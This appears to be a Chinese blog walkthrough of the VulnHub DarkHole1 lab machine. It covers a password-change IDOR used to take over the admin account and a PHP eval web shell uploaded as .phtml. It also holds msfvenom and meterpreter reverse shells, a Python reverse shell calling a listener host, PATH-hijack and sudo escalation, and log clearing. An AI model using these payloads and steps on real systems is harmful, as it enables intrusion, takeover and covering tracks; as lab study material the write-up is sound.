vulnhub靶场之darkhole1
darkhole1
前言
靶机:darkhole1
攻击:kali
主机发现
使用arp-scan -l扫描,确保同一网卡

信息收集
端口、服务发现
使用nmap进行扫描

访问80端口查看,访问后点击几处,发现一个登录界面,并且是php脚本

指纹识别
使用whatweb暂未发现

使用工具cmsvulscan也未发现,工具地址https://github.com/F6JO/CmsVulScan.git

进行目录扫描
使用gobuster进行扫描,发现一个upload目录

使用dirsearch扫描

网站访问
访问/config,但是页面源码中没有任何信息,不过记住,这里因该是数据库连接文件

访问dashboard.php目录,不被允许访问,可能需要登录后才能访问

访问upload,应该是存放上传的图片目录

访问register.php,用于注册的界面

login.php前面看到,是用于登录的
js目录下有两个js文件


登录和注册的页面下方都有一个制作者made by red virus,打开链接,发现是一名创作者,名字为Ra2Ka

尝试能否找到其产品的开源代码,并没有

漏洞寻找
登录测试
尝试使用万能密码测试,能否登录,无法登录,但是这里可以进行爆破,测试大概十遍,发现并没有限制爆破的技术

注册界面
尝试注册admin,发现提示已经存在,说明有该用户

注册一个普通用户,先登录进去再看,注册后只发现有两个,一个是更新信息,一个是更改密码

抓包分析
这时候就需要使用burp抓包分析了,先测试改密码,发现这里只需要点击change后,直接就会修改密码,然后退出登录
流程大概这样,抓取改密码时的那个单独数据包进行分析测试

可以看到,密码已知,这里直接就是想要修改成什么的密码,后面的id参数,可能代表身份,可以对这个进行测试
当修改路径中的id时,提示不允许访问其他用户的信息

那么再创建一个用户进行观察其id的值,可以,说明是按照id值进行的身份

那么这里在之前的数据包中,把id改为3进行观察,可以确定,这是支持水平越权的

修改post请求头中的id,看能否修改dijia的密码

到登录界面以dijia的修改过后的进行登录,登录成功

那么这里就把数据包post请求体中的id改为1,然后登录测试

之前前面在进行注册的时候,以admin注册时,提示已经有了,那么以admin并以改过数据包的密码进行登录测试
登录成功,发现不一样的点在于,多了上传功能

文件上传测试
尝试上传一句话木马
<?php @eval($_REQUEST['cmd']);?>
有检测,提示只能上传图片类型

尝试把php格式改为图片格式,再进行上传,这里要配合抓包
在burp抓取的数据包中修改原本的图片格式,改为php

还是提示只能上传图片格式
那么这里就使劲进行测试,先把扩展格式,大小写等先测试一遍,测试了一遍,发现,phtml可以上传成功,并且使用蚁🗡可以连接


之前那个数据库文件/config/database.php去看看

反弹shell
获取到数据库的账户和密码,不知道能否可用于登录,测试发现无用,生成一个php反弹。为什么要生成呢,也是为了能够熟练其他操作,当然在蚁🗡上也是可以直接使用终端的。
这里只是生成一个简单的反弹shell,还可以用msf生成一个shell,然后使用msf中的exploit/multi/handler模块监听即可获取一个终端
kali上运行
msfvenom -p php/reverse_php LHOST=192.168.1.16 LPORT=9999 > te.php
python3 -m http.server 8888
nc -lvvp 9999
靶机下载后,通过浏览器访问该php文件,这里放入/upload下
wget http://192.168.1.16:8888/te.php
这里还是以蚁🗡的虚拟终端操作,寻找具有SUID权限的命令

提权
环境变量export提权
有一个toto命令,去目录下查看

查看文件,发现乱码,可能是可执行文件
ELF代表Executable and Linkable Forma,是一种对可执行文件、目标文件和库使用的文件格式,跟Windows下的PE文件格式类似

可以看到,就是执行id命令,并且这里的id结果,是john的,那么这个命令是否调用的是/bin下的id命令呢
这里想想一下环境变量,一般都是从环境变量中调用,那么export可以设置临时环境,并具有优先权的
export命令可用

创建一个文件为id,名字要一致,然后输入命令调用/bin/bash

当前环境变量未变化,可能是目录的权限问题,切换到/tmp或者/var下测试
还是不行,这里不理解怎么回事,还是使用msf反弹shell进行测试


这里因为测试mv命令可用,所以在该目录下载,一般还是在之前的/upload下载

msf配置参数并开启监听
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.16
set lport 9999
run

使用浏览器访问/upload下的te.php
msf获取shell,然后到/tmp目录下,继续之前的使用临时变量

这里发现已经可以了,就挺奇怪的,也不知道为什么蚁🗡不行
执行/home/john/toto提权到john用户

获取到一个密码root123

使用ssh命令测试是否是john的密码,没错,就是他的密码,当然这个密码也可以使用hydra进行其他用户的测试

搜索具有SUID权限的,有su、sudo、at可能可以利用的
使用sudo -l寻找,发现一个以root可用的文件,就在当前目录,去查看


是个空文件,那么就可以往里面写代码,来获取root的bash,这里提示,不让用户john作为root执行

sudo提权
ok,这里还有另一个用户,尝试使用之前获得的密码进行测试root123,发现可以
使用darkhole测试,发现使用sudo可以运行一切

使用sudo执行之前的python脚本

或者直接sudo -i、sudo -s或sudo su -,反正和sudo有关的提权基本上都可以上

python提权
在网上看到使用john也可以提权的方式,编写file.py脚本
import os,pty,socket
s=socket.socket()
s.connect(("192.168.1.16",9999))
[os.dup2(s.fileno(),f)for f in(0,1,2)]
pty.spawn("bash")

清空日志和历史记录

总结
- 网站可能错在的业务漏洞,这里是权限的问题
- 文件上传的漏洞,扩展名即可
msf生成php反弹shell与进行监听的使用- 一个密码多用账户的情况
export临时环境变量的使用sudo提权的掌握python反弹进行提权
本文来自博客园,作者:whitehe,转载请注明原文链接:https://www.cnblogs.com/whitehe/p/18578392

浙公网安备 33010602011771号